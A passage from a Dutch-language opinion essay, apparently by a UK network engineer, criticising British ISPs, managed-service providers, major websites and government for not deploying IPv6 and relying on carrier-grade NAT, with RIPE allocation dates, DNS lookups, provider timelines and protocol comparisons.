vinden. Het doet niets aan aanbevelingssystemen, autoplay of live-streaming. Het doet niets aan materiaal gehost in een ander land, wat het meeste ervan is. Dat zijn de problemen waarvoor de Act geschreven werd en geen protocolwijziging raakt ze aan.\nTwee. IPv6 is geen identiteitslaag, en iedereen die het als een verkoopt overprijst het. Privacy-extensies roteren het adres van een apparaat per ontwerp, dus het adres van de machine is niet het stabiele ding. Wat stabiel is, is de prefix gedelegeerd aan de lijn — de /56 die Sky elke abonnee uitdeelt sinds 2016. Dat lost op naar een abonnee, wat precies de resolutie is die een rechtmatig verzoek nodig heeft, en niet meer dan dat. Het is een herstel van wat één IPv4-adres per lijn vroeger gaf, geen nieuwe surveillancecapaciteit.\nDrie. De eigenschap die de politie frustreert frustreert ook iedereen anders die je volgt, en sommige mensen waarderen dat. Een van de vijfhonderd achter een gedeeld adres zijn is echte menigtedekking tegen commerciële profilering. Ik denk niet dat het waard is wat het kost — het is dekking gekocht door misbruik onattributeerbaar en rate limiting nutteloos te maken, en het is dekking waar de platforms toch grotendeels doorheen kijken met cookies en fingerprinting. Maar het is een echt argument en het verdient te worden genoemd in plaats van genegeerd.\nDus nee, dit is niet IPv6 in plaats van de Online Safety Act. Het is dat Groot-Brittannië de duurste online-veiligheidswet in zijn geschiedenis schreef bovenop leidingwerk waarvan het wist dat het gebroken was, toen de fix gratis was, goed gedocumenteerd, en beschikbaar de hele tijd dat het wetsvoorstel werd opgesteld.\nWat Je Werkelijk Moet Vragen Geen verbod. Een verbod is het verkeerde instrument en het zou averechts werken.\nEr is geen IPv4 meer over om uit te delen — RIPE is leeg sinds november 2019, en een nieuwe provider krijgt één enkele /24 van een wachtlijst. Verbied adres-delen morgen en de kleine operator kan helemaal geen klanten aansluiten, terwijl de bedrijven die op klasse-B-blokken uit 1990 zitten onaangeroerd doorgaan. Het zou precies de mensen verschansen waar deze post over gaat.\nHet betere instrument bestaat al en iemand heeft het experiment al gedraaid.\nIn 2012 tekenden de federale politie van België, zijn telecomtoezichthouder, zijn College van Procureurs-generaal en zijn ISP-vereniging een tweepagina-vrijwillige gedragscode. Maximaal 16 abonnees achter één IPv4-adres. Beperk het gebruik van CGN. Begin IPv6 aan te nemen.\nTegen 2017 zaten de meeste Belgische operators binnen de limiet, één was naar 8 gegaan, en de Belgische politie zag gemiddeld vier gebruikers per mobiel adres. Europols eigen samenvatting van waarom is het deel dat twee keer lezen waard is: de grootste providers \u0026ldquo;are quickly moving towards IPv6 because no financial interest to invest in CGN anymore.\u0026rdquo; Beperk de oversubscriptie en de economie van de noodoplossing stort in, want een NAT die maar zestien mensen kan stapelen is niet goedkoper dan het protocol dat er geen nodig heeft.\nDat jaar had België de hoogste IPv6-adoptie ter wereld op 49%, toen Groot-Brittannië en Frankrijk op 14% zaten en Spanje en Italië onder 1% zaten. België is nog steeds derde in de landentabel hierboven, op 72,8%.\nDat is de vraag. Niet \u0026ldquo;je mag geen adressen delen\u0026rdquo; — je mag geen verbinding verkopen die zowel onattributeerbaar is als geen IPv6 heeft. Gedeeld adresseren naast werkende IPv6 is prima. Zo werkt elk mobiel netwerk ter aarde. Gedeeld adresseren zonder IPv6 is een gebroken dienst verkopen en het publiek de gevolgen in rekening brengen.\nSky Bewees Dat Het Kon, Elf Jaar Geleden Als het echt moeilijk was, zou niemand in het VK het klaargespeeld hebben.\nSky begon begin 2013 een intern IPv6-project en maakte het af in 2016, met ruwweg 90% van zijn vastelijn-basis — ongeveer vijf miljoen gebruikers — die IPv6 oppikten en gebruikten. Hun engineer schreef het hele ding op op RIPE Labs: 6PE over de MPLS-core, dual-stacked peering en transit, RADIUS-attributen om het per abonnee in te schakelen, firmwarewerk over zeven CPE-modellen inclusief vijf legacy-modellen, en capaciteitsupgrades op RADIUS en DNS.\nDrie jaar, één ISP, en hetzelfde Openreach-koper waar iedereen anders over verkocht. ISPreview rapporteerde de finish in september 2016, met Sky die 95% van zijn basis tegen het eind van dat jaar verwachtte, en Sky nam de Jim Bound IPv6 Award ervoor.\nHun advies was: \u0026ldquo;Do not underestimate the work required to enable IPv6, and do not leave it to the last minute to begin the journey.\u0026rdquo;\nElf jaar later staat het grootste deel van de industrie nog steeds op het laatste moment, en behandelt het als een plek om te wonen.\nIedereen Heeft De Adressen Al Jaren Sky was de eerste van de grote ISP\u0026rsquo;s. Het was bij lange na niet de eerste in het land, en geen enkele provider op deze lijst kan zeggen dat het op het register wachtte.\nRIPE stempelt de toewijzingsdatum in de naam van het blok, dus je kunt elk ervan zelf controleren:\nwhois -h whois.ripe.net 2a01:4b00::/32 | grep -E \u0026#39;netname|^org:\u0026#39; # netname: UK-BCUBE-20110225 -\u0026gt; Hyperoptic, allocated 25 February 2011 Elke datum hieronder kwam uit die lookup tegen de eigen toewijzing van de provider, gekruisverwezen tegen het delegatiebestand. De grote ISP\u0026rsquo;s staan vetgedrukt, de rest zijn de full-fibre-bouwers. Of klanten werkelijk IPv6 krijgen is uit ISPreview\u0026rsquo;s enquête zoals bijgewerkt in maart 2025, en uit de mobiele tracker voor de telefoonnetwerken.\nHoe lang elke Britse provider IPv6 heeft gehouden, en of klanten het krijgen Hoe lang elke Britse provider IPv6 heeft gehouden — en of klanten het werkelijk krijgen Toewijzingsdata uit het RIPE-delegatiebestand en zijn netname-stempels. Of het klanten bereikt: ISPreview, maart 2025, en de community-mobiele-tracker. klanten krijgen het deels — slechts één netwerk levert het nog steeds niet (17 van 40) 2002 2002 2006 2006 2010 2010 2014 2014 2018 2018 2022 2022 2026 2026 TalkTalk (als Opal Telecom) Andrews \u0026amp; Arnold Vodafone UK EE (als T-Mobile) Sky Gigaclear O2 (Telefónica UK) BT Virgin Media (als NTL) KCOM Hyperoptic (als Bcube) Zen Internet B4RN Trooli (als Call Flow) Exascale Three UK Community Fibre Ogi (als NetSupport) WightFibre Truespeed Airband G.Network Wessex Internet Quickline FibreNest Wildanet Fibrus (als B4B Networks) Zzoomm GoFibre (als Borderlink) Toob Netomnia / YouFibre Pine Media BeFibre Squirrel Internet brsk Lit Fibre (als Broadreach) iDNET * Grain Hey! Broadband Octaplus Elk van de veertig heeft IPv6-ruimte minstens drie jaar gehouden, de meeste meer dan een decennium. 17 ervan geven het nog steeds niet aan een klant. Forty UK providers, ordered by the date the registry gave them IPv6. Each bar runs from that allocation to today. The blue bars ship it to customers; the pink ones never have. Veertig providers. Elk ervan heeft IPv6-adresruimte minstens drie jaar gehouden, de meeste ervan meer dan een decennium — en zeventien ervan geven het nog steeds niet aan een klant.\nHyperoptic houdt 2a01:4b00::/32 sinds februari 2011. Vijftien jaar glasvezel bouwen in flatgebouwen, gigabitverbindingen verkopen, en mensen achter carrier-grade NAT zetten met een ongebruikte IPv6-toewijzing op de boeken. Trooli heeft die van hen dertien jaar. Truespeed en Airband tien.\nAndrews \u0026amp; Arnold is degene om de rest tegen te houden. Een kleine ISP in Bracknell met een fractie van de klanten en engineers van iedereen anders op die lijst, die IPv6 aan elke lijn geeft sinds 2002, en een van de bedrijven achter 6UK. TalkTalk nam zijn toewijzing drie maanden eerder en levert het nog steeds niet aan consumenten.\nVirgin Media nam zijn blok drie weken voordat Zen die van hen nam. Zen leverde het, en ik zit sindsdien op het eind van een van hun /48\u0026rsquo;s. Virgin zegt nog steeds \u0026ldquo;wanneer we er klaar voor zijn\u0026rdquo;.\nEn kijk naar de onderkant van de tabel. Squirrel, brsk, Lit Fibre en Octaplus kregen hun toewijzingen allemaal in de laatste zes jaar en leveren allemaal IPv6, terwijl providers die sinds 2011 ruimte houden dat niet doen. Laat beginnen is niet het obstakel. Überhaupt beginnen is dat.\nTwee namen uit die enquête staan niet in de grafiek, en de reden is voor beide hetzelfde. Cuckoo is een retailmerk dat wholesale-toegang inkoopt over Openreach, CityFibre en anderen, en Freedom Fibre is een wholesale-netwerk wiens klanten via retailpartners komen. Geen van beide houdt zijn eigen adresruimte, dus IPv6 is andermans beslissing om voor hen te maken. iDNET is met een asterisk gemarkeerd omdat die van hen een provider-onafhankelijke toewijzing is in plaats van een eigen toewijzing.\nDegene Die Het Beslecht Als je het argument tot één enkel bedrijf wilt reduceren, is het Plusnet.\nBT kocht Plusnet in januari 2007. Plusnet zit onder het eigen RIPE-account van British Telecommunications, dus het heeft sinds juni 2010 toegang gehad tot BT\u0026rsquo;s IPv6-toewijzing. BT levert IPv6. EE, het andere zusterbedrijf, levert IPv6. ISPreview merkte op dat BT en Plusnet zelfs bijna identieke klantrouters gebruiken, en noemde de kloof \u0026ldquo;somewhat of a peculiarity\u0026rdquo;.\nPlusnet testte IPv6 in 2011 en drong er publiek bij de rest van de industrie op aan er vaart mee te maken. In 2019 zei het dat het in het voorjaar van 2020 zou lanceren. In 2021 verwachtte het \u0026ldquo;to make good progress over the coming year\u0026rdquo;. In november 2023 draaide het een driemaandelijkse test over twee sites in Chesterfield en Sheffield, met ongeveer twintig medewerkers en vriendelijke klanten erop.\nIn april 2026 vroeg zijn eigen klantenforum nog steeds waar IPv6 was gebleven.\nEén moederbedrijf. Eén adrestoewijzing. Bijna-identieke hardware. Engineers die voor dezelfde groep werken en de gang af kunnen lopen naar de mensen die het al deden. Drie merken, en een ervan kan in vijftien jaar niet klaarspelen wat de andere twee afmaakten.\nWat dit ook stopt, het is niet de technologie, het geld, de apparatuur, of de adresruimte. Het is iemand die beslist dat het dit kwartaal niet zijn probleem is, vijftien jaar op rij.\nVirgin Media, Zestien Jaar \u0026ldquo;Wanneer We Er Klaar Voor Zijn\u0026rdquo; Het andere eind van de schaal verdient benoeming, want de tijdlijn is een kwestie van openbaar dossier en het is opmerkelijk.\nMaart 2010: een klant vraagt op Virgin Media\u0026rsquo;s eigen forum wanneer IPv6 komt. Het antwoord is \u0026ldquo;wanneer we er klaar voor zijn\u0026rdquo;.\nNovember 2016: Virgin vertelt ISPreview dat het van plan is IPv6 tegen medio 2017 aan te nemen. Het doet het niet.\nJuni 2018: een consumententest wordt gerapporteerd. December 2018: een derde presentatie aan de UK IPv6 Council, hintend naar 2019.\n2021: een verklaring dat ze \u0026ldquo;continuing to plan our IPV6 deployment having tested several solutions and intend to introduce IPV6 for our customers in future.\u0026rdquo;\nFebruari 2024: Virgin Media vergrendelt de veertien jaar oude forumthread.\nAugustus 2026: nog steeds niets.\nZestien jaar. In die tijd werd het bedrijf gekocht, fuseerde met O2, herbouwde zijn core twee keer en verving zijn hele routerbestand. Op geen enkel moment voegde iemand een adresfamilie toe. De thread vergrendelen is het eerlijkste ding op die lijst. Het is het moment dat ze stopten met doen alsof en de klacht gingen beheren in plaats van het probleem.\nDe Altnets Hadden Helemaal Geen Excuus De full-fibre-bouwers waren de kans om schoon te beginnen. Nieuwe netwerken, nieuwe apparatuur, geen legacy, engineers dit decennium ingehuurd. Kijk naar waar ze zitten in de toewijzingstabel en de meeste namen de adresruimte en stopten.\nDus een bedrijf dat institutioneel geld ophaalde om een gloednieuw glasvezelnetwerk te bouwen groef de wegen op, blies glasvezel naar honderdduizend huizen, kocht nieuwe routers, schreef een nieuwe provisioning-stack. En zette zijn klanten achter een gedeeld adres op een netwerk zonder IPv6, in 2026, met de adresruimte al in zijn eigen registeraccount.\nEn dan rekenen verscheidene ervan £5 per maand voor een statische publieke IPv4.\nZe namen het werkende ding weg, weigerden de gratis vervanging te leveren, en veranderden de resulterende breuk in een regel op je rekening. Er is een woord voor een businessmodel dat een fout fabriceert en dan de fix verkoopt, en het is niet \u0026ldquo;innovatie\u0026rdquo;.\nDe Websites Verraden Het Spel De routingtabel toont wat netwerken doen. De DNS toont wat iedereen anders doet. Dus op 27 augustus 2026 zette ik vijftig van de bekendste sites van het VK in een bestand — centrale overheid, de banken, de grote retailers, de telco\u0026rsquo;s, transport en een paar universiteiten — en vroeg elk of het op IPv6 antwoordt:\nwhile read -r d; do n=$(dig +short AAAA \u0026#34;$d\u0026#34; | grep -c \u0026#39;:\u0026#39;) printf \u0026#39;%-46s %s\\n\u0026#39; \u0026#34;$d\u0026#34; \u0026#34;$([ \u0026#34;$n\u0026#34; -gt 0 ] \u0026amp;\u0026amp; echo AAAA || echo none)\u0026#34; done \u0026lt; sites.txt | sort -k2 Toen controleerde ik elk antwoord tegen een tweede resolver, want één recursieve server die een slechte dag heeft is geen bevinding:\ndig @1.1.1.1 +short AAAA www.tesco.com | grep -c \u0026#39;:\u0026#39; Zeventien van de vijftig hadden een AAAA-record. Drieëndertig niet, en beide resolvers waren het over elk eens.\nDegene zonder IPv6 omvatten www.bbc.co.uk, www.nhs.uk, www.hmrc.gov.uk, www.hsbc.co.uk, www.barclays.co.uk, www.lloydsbank.com, www.santander.co.uk, www.tesco.com, www.johnlewis.com, www.marksandspencer.com, www.britishairways.com, tfl.gov.uk, monzo.com — een bank opgericht in 2015, zonder legacy wat dan ook — en, mijn favoriet, www.sky.com.\nSky. Het bedrijf dat vijf miljoen klanten op IPv6 zette en er een prijs voor won. Zijn eigen website antwoordt niet op IPv6.\nNu het stukje dat de these voorbij twijfel bewijst.\nVijftien van de zeventien die wel IPv6 hebben kregen het van een leverancier, niet van zichzelf. Ik loste elk op en zocht op wie het adres bezit dat antwoordde:\nwhois -h whois.radb.net -- \u0026#34;$(dig +short AAAA www.sainsburys.co.uk | grep \u0026#39;:\u0026#39; | head -1)\u0026#34; | grep -i descr www.gov.uk en www.cam.ac.uk antwoorden vanaf Fastly. ico.org.uk, www.parliament.uk, www.ofcom.org.uk, www.asda.com, www.autotrader.co.uk, www.nationalrail.co.uk en www.jisc.ac.uk antwoorden vanaf Cloudflare, dat IPv6 standaard voor iedereen aanzet. natwest.com en nationwide.co.uk antwoorden vanaf Azure Front Door. www.legalandgeneral.com en www.screwfix.com antwoorden vanaf CloudFront. www.sainsburys.co.uk en www.next.co.uk antwoorden vanaf Akamai.\nTwee deden het zelf: Imperial College London, dat vanaf zijn eigen adresruimte antwoordt, en de eigen website van de UK IPv6 Council. Een universiteit en de mensen wiens hele doel IPv6 is. Dat is de lijst.\nEn www.tesco.com, www.sky.com en www.nhs.uk zitten ook op Akamai — dezelfde CDN, hetzelfde product — en hebben helemaal geen IPv6.\nAkamai is hier expliciet over geweest sinds juni 2022: \u0026ldquo;Akamai has enabled IPv4+IPv6 dual-stack as the default for our CDN delivery products for many years, meaning that customers have needed to opt-out for content to be IPv4-only.\u0026rdquo; Ze voegden toe dat ze het makkelijk maakten om over te schakelen, inclusief via de API.\nZelfde vendor. Zelfde platform. Standaard aan. Eén organisatie liet het met rust en een ging erin en zette het uit, of hield een oude config die niemand sinds lang heeft gelezen. Sainsbury\u0026rsquo;s heeft IPv6 en Tesco niet, en het verschil tussen hen is één enkele configuratievlag en iemands aandacht.\nDaarna is er geen kostenargument en geen complexiteitsargument meer overeind. Er is alleen of iemand oplette.\nOver de hele steekproef houdt de regel stand: waar IPv6 als standaard van een leverancier arriveert, heeft Groot-Brittannië het. Waar een Britse organisatie iets had moeten beslissen, heeft het het niet. Twee sites van de vijftig, en een daarvan was de IPv6 Council.\nWat Ons Bij De Managed-Service-Industrie Brengt De consumenten-ISP\u0026rsquo;s krijgen de schuld voor CGNAT, en ze hebben die verdiend. Maar de laag die de meeste schade aanricht is degene die expertise verkoopt: de managed service providers, de integrators, de uitbestede netwerkteams, de consultants die het low-level design schrijven.\nGa terug naar de lijst van de grootste Britse netwerken zonder IPv6 — de banken, British Airways, PwC, QinetiQ. Dat zijn geen schriele startups. Het zijn bedrijven die veel geld betalen zodat iemand anders hun netwerk runt, of een groot team in dienst hebben om het zelf te runnen. Elk van die AS-nummers heeft een ontwerpdocument erachter, een wijzigingsproces, een architectuur-reviewboard, en een leverancier met \u0026ldquo;netwerk\u0026rdquo; in de naam. Niet een ervan produceerde een IPv6-plan.\nHet patroon is overal hetzelfde waar je ernaar kijkt:\nHet sjabloon is IPv4. De bouwstandaard, de firewallruleset, de monitoringchecks, de IPAM, het runbook, het DR-plan, het klant-overdrachtpakket — allemaal IPv4, één keer geschreven, een decennium gekloond. Een adresfamilie toevoegen betekent dat alles bewerken, en niemand wordt betaald om het te bewerken.\nNiemand vroeg erom. Dit is de zin die elk IPv6-gesprek in deze industrie beëindigt, en het is een bekentenis. Niemand vroeg om TLS 1.3 ook. Niemand vroeg je te stoppen met SMBv1. Klanten kopen de uitkomst en betalen je om te weten wat de uitkomst vereist. \u0026ldquo;De klant vroeg er niet om\u0026rdquo; betekent \u0026ldquo;ik wil het niet leren en zij kunnen het niet zeggen\u0026rdquo;.\nRFC 1918 voelt oneindig. Tien-punt is 16,7 miljoen adressen, dus een intern netwerk voelt nooit krap, dus er is nooit een dwingend moment. Dan arriveert de fusie, beide estates zitten op 10.0.0.0/8, en het antwoord is nog een decennium overlappende-subnet-NAT en een document dat uitlegt welk nepadres welk echt adres betekent — meer machinerie, weer, om de adresfamilie te vermijden die het een niet-probleem had gemaakt.\nIPv6 legt competentie bloot. Dit is de echte. Dual-stack laat je niet verbergen.\nJe moet weten wat je firewallbeleid werkelijk is, want je moet het twee keer schrijven. Je moet weten hoe je DNS eruitziet. Je moet neighbour discovery begrijpen, prefix-delegatie, en wat je CPE met een /56 doet.\nEen engineer die het heeft gered op NAT als toevallige security-control ontdekt, waar mensen bij zijn, dat het dat nooit was. Er zijn twintigjarige carrières in deze industrie gebouwd op die ene verwarring.\nDus het wordt niet voorgesteld. Niet omdat het geld kost — dat doet het niet — maar omdat het voorstellen betekent het bezitten, en het bezitten betekent het leren.\nDat is wat ik met broodlui bedoel. Niet lui in de zin van niet hard werken. Deze industrie werkt extreem hard. Het werkt hard aan carrier-grade NAT, en aan uitleggen aan een klant waarom hun CCTV niet meer van buiten verbindt. Het zal elke hoeveelheid werk doen, zolang het werk het soort is dat je kunt kopen in plaats van het soort dat je moet begrijpen.\nEn dat gaat ophouden een kwestie van smaak te zijn. De Cyber Security and Resilience Bill die nu door het Parlement gaat zou de NIS Regulations wijzigen om, onder anderen, \u0026ldquo;managed service providers (organisations that provide third-party IT services to other businesses)\u0026rdquo; erin te trekken. Het is nog geen wet. Wanneer het dat is, houden detectie, logging en incidentmelding op productlijnen te zijn die deze laag verkoopt en worden ze plichten die het moet nakomen.\nZet dat naast de keten verderop. Elke abuse-melding oplossen begint met een server aan het verre eind die een bronpoort logde, en de server aan het verre eind is heel vaak een van deze bedrijven\u0026rsquo; dozen. De mensen die binnenkort moeten bewijzen dat ze een incident kunnen detecteren en melden zijn dezelfde mensen die er momenteel niet toe te bewegen zijn een adresfamilie aan te zetten, of een packet capture te lezen wanneer een tunnel niet omhoog wil komen.\nDe Drie Excuses Je zult elke keer dezelfde drie horen, en geen ervan houdt een minuut stand.\n\u0026ldquo;Dual-stack is twee van alles.\u0026rdquo; Ik draaide het in productie bij Nominet, op F5 load balancers voor het .uk-register, dus ik weet wat het bezwaar waard is. Zo is de NAT-laag die je in plaats daarvan kocht, en die zit in het verkeerspad met een sessietabel, een capaciteitsmodel, een failover-verhaal en een logging-verplichting eraan gehangen. Je koos nooit tussen complexiteit en eenvoud. Je koos de complexiteit die met een factuur kwam.\n\u0026ldquo;De apparatuur ondersteunt het niet.\u0026rdquo; In 2006, terecht. In 2026 betekent het dat je apparatuur uit support is, wat een erger ding is om toe te geven dan degene die je probeerde niet te zeggen.\n\u0026ldquo;Er zit geen omzet in.\u0026rdquo; Er zit ook geen omzet in back-ups.\nDe Dingen Die Mensen Posten De excuses hierboven zijn wat je in een vergadering hoort. Eronder zit een laag technische beweringen die worden herhaald in forumthreads, commentaarsecties en LinkedIn-reacties elke keer dat IPv6 ter sprake komt, en de meeste ervan zijn al meer dan een decennium fout.\nEen deel hiervan is eerlijke verwarring en een deel is een persoon die heeft besloten iets niet te leren en naar een reden grijpt. Hoe dan ook is het het waard om door te nemen, want deze beweringen doen echt werk. Ze zijn wat een engineer herhaalt aan een manager die ze niet kan controleren.\n\u0026ldquo;NAT is mijn firewall. IPv6 zet elk apparaat direct op het internet.\u0026rdquo;\nDit is de grote en het is de verkeerde kant op. De bescherming die mensen aan NAT toeschrijven komt van het feit dat er geen mapping is tot iets binnen erom vraagt — wat een stateful firewall is, en het is de firewall die het werk doet, niet de vertaling. De IETF zei het zo in RFC 4864 in 2007: die rol, \u0026ldquo;often marketed as a firewall, is really an arbitrary artifact\u0026rdquo;, waar een echte firewall je \u0026ldquo;explicit and more comprehensive management controls\u0026rdquo; geeft.\nElke consumenten-IPv6-router wordt geleverd met default-deny inbound. Je krijgt dezelfde houding, uit een beleid dat iemand opschreef, in plaats van uit een neveneffect van het opraken van adressen. En je kunt dan precies dat ene ding toestaan dat je bedoelde toe te staan, in plaats van de port-forwarding-seance.\nAls je hele beveiligingsmodel \u0026ldquo;aanvallers kunnen mijn apparaten niet vinden\u0026rdquo; is, had je geen beveiligingsmodel. Je had NAT.\n\u0026ldquo;IPv6 is langzamer.\u0026rdquo;\nDeze verdient een eerlijk antwoord in plaats van een afwijzing, want de waarheid is gemengd en de mensen die het maken hebben niet simpelweg ongelijk.\nContentproviders die ervoor geoptimaliseerd hebben meten winst: Facebook rapporteerde paginaladingen ongeveer 15% sneller over IPv6, Akamai ongeveer 5% op mobiel. APNIC\u0026rsquo;s bredere meting van het hele internet is minder vleiend en heeft IPv6 round-trip-tijden die gemiddeld marginaal hoger lopen — in de orde van een milliseconde of zo, en verbeterend na verloop van tijd.\nDus: grofweg gelijkspel, beter waar iemand het werk heeft gedaan, af en toe een haartje slechter waar niemand het deed.\nHet is de moeite waard te weten waar de kosten werkelijk zitten, want de header is het ding dat mensen zich voorstellen en de header is niet het probleem.\nDe IPv4- en IPv6-headers, en wat elk een router kost De twee headers, en wat elk een router kost Velden op schaal getekend over 32 bits. Bronnen: RFC 791 (IPv4) en RFC 8200 (IPv6). werk dat een router per hop moet doen bredere lookup-sleutel IPv4 20 bytes, tot 60 met opties 031 Version IHL Type of Service Total Length Identification Flags Fragment Offset Time to Live Protocol Header Checksum Source Address Destination Address Options — variable length, 0 to 40 more bytes IPv6 40 bytes, vast. Altijd. 031 Version Traffic Class Flow Label Payload Length Next Header Hop Limit Source Address (128 bits) Destination Address (128 bits) IPv4 laat een router\u0026#160;de header-checksum bij elke hop herberekenen, een lengteveld lezen voordat het weet waar de payload begint, en een fragmentatiepad dragen. IPv6 laat alle drie vallen — en vraagt het te matchen op\u0026#160;een sleutel vier keer zo breed. The two headers side by side, fields drawn to scale across 32 bits. Shaded orange is work a router has to do on every hop; shaded blue is the wider lookup key. Begin met wat IPv6 van de router afhaalde. IPv4 draagt een header-checksum. De Time to Live verandert elke hop, dus de checksum moet ermee veranderen, en RFC 6583 somt \u0026ldquo;verifying and updating the checksum\u0026rdquo; op als een stap in het forwardingproces zelf. IPv6 heeft er geen. Die stap gaat gewoon weg.\nDan de lengte. Een IPv4-header is variabel, wat waar IHL voor is: een router leest een lengte voordat het weet waar de payload begint. Een IPv6-header is 40 bytes. Altijd. Elk veld zit op een vaste offset en niets hoeft eerst uitgewerkt te worden.\nDan fragmentatie. IPv4-routers kunnen tijdens de vlucht fragmenteren, wat de reden is dat Identification, Flags en Fragment Offset überhaupt in de header zitten. RFC 8200 is er vlak over: \u0026ldquo;fragmentation in IPv6 is performed only by source nodes, not by routers along a packet\u0026rsquo;s delivery path\u0026rdquo;. Dus dat pad gaat ook weg.\nOp header-afhandeling alleen is IPv6 het goedkopere protocol om te forwarden. Het werd zo gebouwd.\nDe ene plek waar het wel meer kost is per route, en dat blijkt niet uit te maken. De lookup-sleutel ging van 32 bits naar 128, dus een IPv6-forwardingentry is breder en neemt op heel wat apparatuur twee hardwareslots waar een IPv4-route er een neemt. Iedereen stopt het argument daar. Het is de moeite waard een stap verder te gaan, want de volledige tabel is vier keer kleiner.\nOp de RIS-dump gegenereerd om 02:03 UTC op 28 augustus 2026 waren er 1.229.166 IPv4-prefixes in de wereldwijde routingtabel en 300.470 IPv6-prefixes. Vier keer zoveel IPv4-routes, elk een kwart van de breedte. Dus de ruwe sleutelopslag komt op een dood gelijkspel uit: 4,92 MB tegen 4,81 MB. Pas nu de twee-slots-per-IPv6-route-regel toe waar mensen zich zorgen over maken. Een volledige IPv6-tabel heeft nog steeds ongeveer de helft van de hardware-entries van een volledige IPv4-tabel nodig.\nEn de reden dat de IPv4-tabel zo groot is, is de schaarste zelf. 767.543 van die 1,2 miljoen routes zijn /24\u0026rsquo;s — 62% van het hele IPv4-internet dat op de langste prefix zit die iemand accepteert, omdat blokken werden opgehakt, verkocht en in stukken aangekondigd door wie ze ook kocht. Elk daarvan is een router ergens die een entry houdt die het niet nodig zou hebben als de ruimte niet was opgeraakt.\nDe IPv4-routingtabel is vier keer zo groot als die van IPv6 De IPv4-routingtabel is vier keer zo groot — en het meeste ervan is de schaarste Distincte prefixes in de wereldwijde routingtabel, RIPE RIS-dump gegenereerd 02:03 UTC, 28 augustus 2026. IPv432-bits sleutel 767.543 ervan zijn /24's 1.229.166 IPv6128-bits sleutel 300.470 Vier keer zoveel IPv4-routes, elk een kwart van de breedte — dus ruwe sleutelopslag is een dood gelijkspel, 4,92 MB tegen 4,81 MB. Tel een IPv6-route als twee hardware-entries, zoals mensen vrezen, en een volledige IPv6- tabel heeft nog steeds ongeveer de helft nodig. 62% van de IPv4-tabel is /24's\u0026#160;— blokken opgehakt, verkocht en in stukken aangekondigd omdat de ruimte opraakte. Elk is een entry die een router niet zou houden als dat niet zo was. Distinct prefixes in the global routing table on 28 August 2026, counted from the RIPE RIS dump. The solid part of the IPv4 bar is the /24s — deaggregation the address shortage forced. Dus het geheugenargument loopt de andere kant op dan hoe het in vergaderingen wordt verteld. IPv6 dragen is goedkoper op je FIB dan IPv4 dragen, en het wordt elk jaar goedkoper dat de transfermarkt nog een /16 in zestien /24\u0026rsquo;s snijdt.\nEn de CPU-pieken die mensen werkelijk raken zijn geen van beide. Een moderne router forwardt beide families in silicon op line rate. Wat pijn doet is alles dat een pakket van dat pad af de control plane in duwt, wat RFC 6583 \u0026ldquo;a \u0026lsquo;slower\u0026rsquo; software process running on a general purpose processor\u0026rdquo; noemt. Die processor was gedimensioneerd voor routingprotocollen. Nooit voor verkeer.\nTwee dingen duwen pakketten ernaartoe. Het eerste zijn extension headers. Ze zijn een keten in plaats van een vast blok, dus een doos die de layer-4-poorten voor een ACL of een ECMP-hash wil moet een variabele-lengte-lijst aflopen om ze te vinden, en een Hop-by-Hop Options header \u0026ldquo;may be examined or processed by any node along a packet\u0026rsquo;s delivery path\u0026rdquo;. Op heel wat apparatuur betekent dat punted.\nHet tweede is Neighbour Discovery. Een /64 dekt biljoenen adressen die nooit toegewezen zullen worden, dus er een scannen zet een router aan het oplossen van adressen die niet bestaan. RFC 6583 bestaat daarvoor, en noemt het een denial of service.\nBeide hebben bekende antwoorden. Filter Hop-by-Hop aan de rand, rate-limit ND, cap de neighbour cache. Geen ervan is een reden dat het protocol langzaam is. Het zijn redenen dat een ongeconfigureerde router langzaam is, en dat wijst waar de rest van deze post naar wijst.\nWeeg nu een milliseconde tegen het alternatief dat je werkelijk uitrolde — een stateful vertaaldoos in het pad van elke verbinding, die een sessietabel houdt, die er sommige ronduit breekt. Niemand stalde twintig jaar over een milliseconde.\n\u0026ldquo;Er is genoeg IPv4 rond, je kunt het gewoon kopen.\u0026rdquo;\nDat kun je. Dat is hoe een schaarste eruitziet. Blokken die in 1990 voor niets werden uitgedeeld wisselen nu van eigenaar op ongeveer $20 per adres, en AWS rekent $43,80 per jaar voor elk dat je gebruikt.\nEen markt in een ding bewijst niet dat er genoeg van is. Het bewijst dat iemand uitwerkte hoe je je de schaarste in rekening brengt.\nNiemand Ging Ze Ooit Dwingen Het VK heeft hier helemaal geen beleid over, en het heeft dat nooit gehad.\nEr was een poging. 6UK werd opgezet in 2010 met £20.000 aan startkapitaal van het Department for Business, Innovation and Skills, gesteund door Vint Cerf, met LINX, AAISP, Timico en Easynet erachter. In december 2012 traden zijn vrijwillige directeuren af op de AVA, niemand stelde zich verkiesbaar voor het bestuur, en het werd opgeheven. Zijn afscheidsoordeel: vrijemarkt-prikkels zijn onvoldoende, \u0026ldquo;one factor appears to dominate IPv6 adoption rates, namely government support,\u0026rdquo; en \u0026ldquo;countries with hands-off governments fall behind.\u0026rdquo;\nVeertien jaar later is dat precies wat gebeurde. De UK IPv6 Council gaat nog steeds door, maar een forum is geen hefboom.\nVergelijk de Verenigde Staten, waar OMB-memorandum M-21-07 vereiste dat 80% van de federale IP-enabled assets IPv6-only zou zijn tegen het eind van het boekjaar 2025. Agentschappen misten het. Ze hadden nog steeds een getal om te missen, een datum om het tegen te missen, en iemand die moet opstaan en de misser uitleggen. Hier is er niets om te missen, dus niemand heeft ooit iets moeten uitleggen.\nDe Britse overheid vereist IPv6 op geen betekenisvolle manier in zijn eigen inkoop. Ofcom meet het niet. Geen toezichthouder vraagt ernaar. En dus, voorspelbaar, hebben www.nhs.uk en www.hmrc.gov.uk het niet, terwijl www.gov.uk het wel heeft. En www.gov.uk heeft het alleen omdat het via Fastly wordt bediend, dat jaren geleden IPv6 aanzette namens iemand anders.\nIk heb eerder geschreven over wat er gebeurt wanneer niemand een contract over een industrie houdt — de mechanismen die werken blijken degene te zijn die iemand met middelen kiest te bedienen, en als niemand het doet, gebeurt er een decennium lang niets. IPv6 in het VK is dat patroon weer, zonder zelfs een ledenstemming aan het eind ervan.\nEn Het Is Niet Dat Niemand Het Opmerkte De afwezigheid van een vereiste zou teleurstellend zijn als dit onopgemerkt was gebleven. Dat was het niet.\nDe staat werkte uit wat carrier-grade NAT doet en legislateerde erover. Het Parlement keek recht naar het probleem, begreep het goed genoeg om er wet over te schrijven, en schreef de wet die de breuk accommodeert. \u0026ldquo;Verplicht ze het protocol uit te rollen dat het verwijdert\u0026rdquo; werd of nooit opgeworpen of werd opgeworpen en losgelaten.\nDus we zijn een land wiens verklaarde positie is 